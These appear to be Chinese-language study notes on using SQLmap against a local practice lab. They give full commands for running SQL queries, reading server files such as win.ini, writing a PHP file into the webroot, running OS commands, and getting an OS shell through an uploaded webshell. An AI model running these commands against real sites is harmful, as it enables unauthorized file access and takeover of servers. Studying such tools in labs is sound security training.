一、深入了解SQLmap
1. SQLmap目录介绍
2. SQLmap支持13种数据库(跟之前比,多出了h2数据库)
查看路径:sqlmap\plugins\dbms\
3. SQLmap支持6种注入方式
查看路径:sqlmap\data\xml\payloads\
4. SQlmap如何测试注入类型
5. SQLmap判断网站使用的脚本语言、数据库类型、服务器版本、操作系统版本的文件在路径:sqlmap\data\xml\banner\目录下
二、利用SQLmap执行SQL语句
1. SQLmap --sql-query参数
python sqlmap.py -u "172.26.26.253/Less-1/index.php?id=1" --sql-query="select vsersion()"
2. SQLmap --sql-shell参数
python sqlmap.py -u "172.26.26.253/Less-1/index.php?id=1" --sql-shell
3. SQLmap --sql-file参数
将要执行的语句分行放入1.sql文件中,批量执行
python sqlmap.py -u "172.26.26.253/Less-1/index.php?id=1" --sql-file="C:\1.sql"
三、利用SQLmap操作文件
1. ①读文件,需要满足以下条件(重点条件为1、3条)
添加MySQL的文件权限(大多数网站没有权限):在MySQL的配置文件my.ini中,添加内容secure_file_priv=''。
要读取文件,先判断能不能读文件,选取一个一定存在的文件尝试读取
windows下:C:\windows\win.ini
Linux下:/etc/password
②读取文件的原理
若网站对单引号过滤了,load_file的路径就用十六进制编码(记得编码完成后前面加上0x),如若读取到PHP代码,由于识别到标签,页面就不会显示,查看网页源码可以查看,或者将load_file放在hex函数中,返回十六进制字符串,然后解码(适用于文件包含某些特殊字符时)
③SQLmap读取文件:--file-read参数
python sqlmap.py -u "http://172.26.26.253/Less-1/index.php?id=1" --file-read "C:\wndows\win.ini"
2. ①写文件,需要满足以下条件
将内容写入文件时,最好转化为十六进制,防止过滤某些特殊符号,MySQL会自动将十六进制内容转化为明文再写入。
②写入文件的原理
③SQLmap写入文件:--file-write参数、--file-dest参数(路径名需要用双引号括起来)
python sqlmap.py -u "http://172.26.26.253/Less-1/index.php?id=1" --file-write "C:\123.txt" --file-dest "C:\phpstudy\www\test.php"
3. SQLmap --os-cmd参数
执行cmd命令
python sqlmap.py -u "http://172.26.26.253/Less-1/index.php?id=1" --os-cmd="whoami"
4. SQLmap --os-shell参数
获取服务器终端,以上传小马的方式接收执行cmd命令的参数,虽然小马文件不可以直接访问,但是可以在浏览器url处直接以参数的形式传递cmd指令:?cmd=ipconfig
python sqlmap.py -u "http://172.26.26.253/Less-1/index.php?id=1" --os-shell
扩展(SQLmap超详细笔记):
https://www.cnblogs.com/bmjoker/p/9326258.html